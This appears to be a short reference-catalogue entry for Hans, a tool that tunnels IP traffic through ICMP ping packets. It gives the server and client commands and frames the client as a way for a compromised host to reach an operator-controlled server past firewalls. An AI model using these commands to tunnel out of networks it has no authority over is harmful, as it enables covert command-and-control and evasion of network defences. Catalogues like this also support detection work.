.. /Hans
Star

Access

Hans tunnels IPv4 traffic through ICMP echo request/reply packets (a “ping tunnel”). It is useful when outbound TCP/UDP is firewalled but ICMP ping is permitted, letting a compromised host reach an operator-controlled server over what looks like ordinary ping traffic.

Paths:

Resources:

Detections:

Access

  1. Starts the Hans server on the operator's host, creating a tun interface and assigning it the given IP.

    hans -s 192.168.99.1 -p <PASSWORD>
    Use case
    Operator side of an ICMP tunnel.
    Privileges required
    Administrator/root
    Operating systems
    Linux, MacOS, Windows

  2. Starts the Hans client, which creates a local tun interface and tunnels IP traffic to the server using ICMP echo packets.

    hans -c <SERVER_IP> -p <PASSWORD>
    Use case
    Establishing an outbound tunnel from a compromised host when only ICMP is permitted outbound.
    Privileges required
    Administrator/root
    Operating systems
    Linux, MacOS, Windows